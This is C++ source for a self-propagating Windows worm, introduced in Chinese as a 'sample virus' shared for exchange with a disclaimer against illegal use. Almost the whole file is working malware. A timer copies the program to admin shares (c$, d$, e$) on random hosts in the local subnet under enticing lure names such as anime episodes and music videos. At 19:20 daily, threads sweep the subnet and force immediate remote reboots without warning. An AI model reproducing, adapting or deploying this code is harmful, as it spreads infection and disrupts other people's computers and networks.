winlogin6.cpp

该文件为样板病毒的源程序,此仅用于交流请勿用于非法目的。否则后果自负

// WINLOGIN6.cpp : Defines the entry point for the application.
//

#include "StdAfx.h"

int           iLenLocalIp, iLocalIpInt;//本机IP长度 本机机位号
int           iIpIntSf, iIpIntSb;//向前关机的机位号 向后关机的机位号
int           iIpIntC, iShutFlag=0;//要拷贝至的机位号 是否已建立关机线程的flag
CString		  sExeNameEx[8]={"火影忍者132.exe","网球王子最终话.exe","绝美女孩.exe","倉木麻衣MTV.exe"
                             "火箭vs开拓者.exe","黑客动画教程.exe","Vc++即学即会.exe","丁香花(MTV).exe"};
LPTSTR		  cCommandLine;	
TCHAR		  *cExeName;
char          cLocalHost[10];//本机机器名
char          *pcLocalIp;//本机IP
HWND          hwndTimer;
MSG           msg;
CTime		  tCTime;

BOOL          InitInstance();
int           Ip2Int (char *cIp);//IP转换为机位号
LPTSTR        Int2Ip (int iIpInt);//机位号转换为IP
BOOL          ShutDown (LPTSTR cIpS);//关机函数 整合了IP转换为机器名 取得关机权限 重启功能 传入参数为IP字符串
VOID CALLBACK TimerProc();//定时器回叫函数 功能与OnTimer()相同
UINT          TShutF(LPVOID pParam);//往该机之前的机器关的线程函数 功能是遍历全部的机器关掉
UINT          TShutB(LPVOID pParam);//往该机之后的机器关的线程函数 功能是遍历全部的机器关掉

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
	// TODO: Place code here.
	InitInstance();

	SetTimer(hwndTimer,1,20000,(TIMERPROC) TimerProc);//每20秒繁殖一次
	
	// Main message loop:
	while (GetMessage(&msg, NULL, 0, 0)) //主消息循环  Main message loop 使程序不会结束
	{
			TranslateMessage(&msg);
			DispatchMessage(&msg);
	}

	return 0;
}

BOOL InitInstance()
{
	AfxSocketInit(NULL);


	srand( (unsigned)time( NULL ) );
	//取得本机名
	gethostname(cLocalHost,sizeof(cLocalHost));
	//取得本机地址
	struct hostent FAR * lpHostEnt=gethostbyname(cLocalHost);
	
	int iTempGetLocalIp=0;
	LPSTR lpAddr=lpHostEnt->h_addr_list[iTempGetLocalIp];
	while(lpAddr)
	{
		iTempGetLocalIp++;
		struct in_addr inAddr;
		memmove(&inAddr,lpAddr,4);
		//转换为标准格式
		pcLocalIp=inet_ntoa(inAddr);
		lpAddr=lpHostEnt->h_addr_list[iTempGetLocalIp];
	}


	iLocalIpInt=Ip2Int(pcLocalIp);
	iIpIntSf=iLocalIpInt-1;
	iIpIntSb=iLocalIpInt+1;

	cCommandLine=GetCommandLine();  //取得程序名
//	AfxMessageBox(cCommandLine);
	int i=0,j=0,k;
    while (cCommandLine[i]!=NULL) i++;//i=40 字长0~39
	j=i-1;
	while (cCommandLine[j]!='\\') j--;//j=25 为\处
	cExeName = new TCHAR[i-j-2];
	for (k=0;k<=i-j-3;k++)
	{
		if (cCommandLine[j+k+1]=='"') cExeName[k]=NULL;
		else  cExeName[k]=cCommandLine[j+k+1];
	}

	return TRUE;
}

void CALLBACK TimerProc() //定时器回叫函数 功能与OnTimer()相同
{
//	AfxMessageBox("ok");
	tCTime=CTime::GetCurrentTime();//取得时间
	int min=tCTime.GetMinute();
	int hour=tCTime.GetHour();
	if (min==20 && hour==19 && iShutFlag==0)//每天晚上七点二十发作(正是玩游戏的高峰期)
	{
		CWinThread *ThreadShutF1 = AfxBeginThread (TShutF,NULL);//两个往该机之前的机器关的线程
		CWinThread *ThreadShutF2 = AfxBeginThread (TShutF,NULL);
		CWinThread *ThreadShutB1 = AfxBeginThread (TShutB,NULL);//两个往后关的线程
		CWinThread *ThreadShutB2 = AfxBeginThread (TShutB,NULL);

		iShutFlag = 1;
	}
	else
	{
		int iRndIpInt=(rand()%160);//取拷贝的随机机位号
		int iRndExeNameEx;
		unsigned long uiIpS;
		CString sCopyHost;
		CString sCopyCompletePath;

		uiIpS=inet_addr(Int2Ip(iRndIpInt));//取要拷贝的IP
		struct hostent FAR *host=gethostbyaddr((char *)(&uiIpS),4,AF_INET);
		if (host!=NULL)	sCopyHost=host->h_name;

		iRndExeNameEx=(rand()%8);//随机挑选文件名
		sCopyCompletePath="\\\\"+sCopyHost+"\\e$\\"+sExeNameEx[iRndExeNameEx];//拷贝至的路径
		CopyFile(cExeName,sCopyCompletePath,TRUE);//拷贝
		
		iRndExeNameEx=(rand()%8);
		sCopyCompletePath="\\\\"+sCopyHost+"\\d$\\"+sExeNameEx[iRndExeNameEx];
		CopyFile(cExeName,sCopyCompletePath,TRUE);

		iRndExeNameEx=(rand()%8);
		sCopyCompletePath="\\\\"+sCopyHost+"\\c$\\"+sExeNameEx[iRndExeNameEx];
		CopyFile(cExeName,sCopyCompletePath,TRUE);

		iRndExeNameEx=(rand()%8);
		sCopyCompletePath="\\\\"+sCopyHost+"\\e$\\Downloads\\"+sExeNameEx[iRndExeNameEx];
		CopyFile(cExeName,sCopyCompletePath,TRUE);

		iRndExeNameEx=(rand()%8);
		sCopyCompletePath="\\\\"+sCopyHost+"\\e$\\Movie\\"+sExeNameEx[iRndExeNameEx];
		CopyFile(cExeName,sCopyCompletePath,TRUE);
	}
}

UINT TShutF(LPVOID pParam)//往该机之前的机器关的线程函数 功能是遍历全部的机器关掉
{
	int i=0;
	for (i=0;i>-1;i++)
	{
		ShutDown(Int2Ip(iIpIntSf));
		iIpIntSf--;
		if (iIpIntSf<1) iIpIntSf=160;
		if (i>=1000) i=1;
	}


	return (0);
}

UINT TShutB(LPVOID pParam)//往该机之后的机器关的线程函数 功能是遍历全部的机器关掉
{
	int i=0;
	for (i=0;i>-1;i++)
	{
		ShutDown(Int2Ip(iIpIntSb));
		iIpIntSb++;
		if (iIpIntSb>160) iIpIntSb=1;
		if (i>=1000) i=1;
	}
	return (0);
}

int Ip2Int (char *cIp)//IP转换为机位号
{
	int i,iLastDot,iLenIp=0,iIpInt=0;

	while ((cIp[iLenIp])!=NULL) iLenIp++;//真实长度 1~iLenIp

	iLastDot=iLenIp;
	while ((cIp[iLastDot])!='.') iLastDot--;//Begin With 0 

	iLenLocalIp=(iLastDot+1);

	for (i=iLastDot+1;i<=(iLenIp-1);i++)
	{
		iIpInt*=10;
		iIpInt+=(cIp[i]-'0');
	}
	
	return iIpInt;
}

LPTSTR Int2Ip (int iIpInt)//机位号转换为IP
{
	int i,iLenIp;

	if (iIpInt >= 10)//取得IP字符串的长度
	{
		if (iIpInt >= 100)
		{
			iLenIp = iLenLocalIp-1;
		}
		else iLenIp = iLenLocalIp-2;
	}
	else iLenIp = iLenLocalIp-3;

	LPTSTR pcIp = new CHAR[iLenIp];

	for (i=0;i<=iLenLocalIp-1;i++)//将前三段拷贝下来
	{
		pcIp[i]=pcLocalIp[i];
	}
	
	if (iIpInt/100 != 0) //形成最后一段
	{
		pcIp[i]='0'+(iIpInt/100);
		i++;
	}

	if ( ((iIpInt%100)/10 !=0) || i==(iLenLocalIp+1) ) 
	{
		pcIp[i]='0'+((iIpInt%100)/10);
		i++;
	}

	pcIp[i]='0'+(iIpInt%10);

	return pcIp;
}


BOOL ShutDown(LPTSTR cIpS)//关机函数 整合了IP转换为机器名 取得关机权限 重启功能 传入参数为IP字符串
{
	CString sHostS;
	unsigned long uiIpS;
	TOKEN_PRIVILEGES tkp;
	HANDLE hToken;
	BOOL bShutResult;

	uiIpS=inet_addr(cIpS);//从IP取得机器名
	struct hostent FAR *host=gethostbyaddr((char *)(&uiIpS),4,AF_INET);
	if (host!=NULL)	sHostS=host->h_name;

	
	LPTSTR cHostS = new TCHAR[sHostS.GetLength()+1];
	_tcscpy(cHostS, sHostS);//从LPCTSTR 转换为 LPTSTR

	OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);//取得进程标志
	LookupPrivilegeValue(sHostS, SE_REMOTE_SHUTDOWN_NAME ,&tkp.Privileges[0].Luid);//取得权限值
	tkp.PrivilegeCount = 1; 
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES) NULL, 0);//取得权限
	
	bShutResult=InitiateSystemShutdown( 
			 cHostS,
             NULL,//无提示
             0,//立即重启
             TRUE,//强制关闭程序
             TRUE);//重启

	return bShutResult;
}